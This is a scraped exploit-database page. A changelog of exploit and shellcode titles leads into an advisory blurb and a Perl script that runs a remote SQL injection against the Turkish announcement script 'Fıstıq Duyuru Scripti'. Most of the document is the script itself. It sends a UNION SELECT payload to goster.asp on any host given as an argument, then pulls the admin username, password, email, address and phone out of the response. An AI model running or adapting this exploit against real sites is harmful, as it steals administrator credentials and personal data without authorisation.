
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
143 lines
No EOL
3.8 KiB
Perl
Executable file
143 lines
No EOL
3.8 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/22910/info
|
|
|
|
Duyuru Scripti is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
|
|
|
|
Exploiting this vulnerability could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.
|
|
|
|
#!/usr/bin/perl
|
|
#[Script Name: Fıstıq Duyuru Scripti
|
|
#[Coded by : Cr@zy_King
|
|
#[Author : Cr@zy_King
|
|
#[Contact : crazy_king@eno7.org
|
|
#[S.Page : http://www.isikkoyu.com/images/yeni/default.asp
|
|
|
|
use IO::Socket;
|
|
if(@ARGV < 1){
|
|
print "
|
|
[========================================================================
|
|
[// Fıstıq Duyuru Scripti Remote Blind SQL Injection Exploit
|
|
[// Usage: exploit.pl [target]
|
|
[// Example: exploit.pl victim.com
|
|
[// Example: exploit.pl victim.com
|
|
[// Vuln&Exp : Cr@zy_King (k)
|
|
[========================================================================
|
|
";
|
|
exit();
|
|
}
|
|
#Local variables
|
|
$server = $ARGV[0];
|
|
$server =~ s/(http:\/\/)//eg;
|
|
$host = "http://".$server;
|
|
$port = "80";
|
|
$file = "/goster.asp?id=";
|
|
|
|
print "Script <DIR> : ";
|
|
$dir = <STDIN>;
|
|
chop ($dir);
|
|
|
|
if ($dir =~ /exit/){
|
|
print "-- Exploit Failed[You Are Exited] \n";
|
|
exit();
|
|
}
|
|
|
|
if ($dir =~ /\//){}
|
|
else {
|
|
print "-- Exploit Failed[No DIR] \n";
|
|
exit();
|
|
}
|
|
|
|
|
|
$target = "-1%20union+all+select+0,kullaniciadi,sifre,3+from+admin";
|
|
|
|
$target = $host.$dir.$file.$target;
|
|
|
|
#Writing data to socket
|
|
print
|
|
"+**********************************************************************+\n";
|
|
print "+ Trying to connect: $server\n";
|
|
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server",
|
|
PeerPort => "$port") || die "\n+ Connection failed...\n";
|
|
print $socket "GET $target HTTP/1.1\n";
|
|
print $socket "Host: $server\n";
|
|
print $socket "Accept: */*\n";
|
|
print $socket "Connection: close\n\n";
|
|
print "+ Connected!...\n";
|
|
#Getting
|
|
while($answer = <$socket>) {
|
|
if ($answer =~ /name=\"login\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Exploit succeed! Getting admin information.\n";
|
|
print "+ ---------------- +\n";
|
|
print "+ Username: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"password\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Password: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"name\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Name: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"email\" size=\"30\" class=\"gray_back\" value=\"(.*?)"
|
|
onBlur/){
|
|
print "+ Email: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"address1\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Address1: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"address2\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Address1: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"city\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ City: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"postcode\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ PostCode: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"county\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Country: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"phone\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Phone: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /name=\"iurl\" size=\"24\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Fax: $1\n";
|
|
}
|
|
|
|
|
|
if ($answer =~ /name=\"title\" size=\"30\" class=\"gray_back\"
|
|
value=\"(.*?)\">/){
|
|
print "+ Country: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /Syntax error/) {
|
|
print "+ Exploit Failed : ( \n";
|
|
print
|
|
"+**********************************************************************+\n";
|
|
exit();
|
|
}
|
|
|
|
if ($answer =~ /Internal Server Error/) {
|
|
print "+ Exploit Failed : ( \n";
|
|
print
|
|
"+**********************************************************************+\n";
|
|
exit();
|
|
}
|
|
} |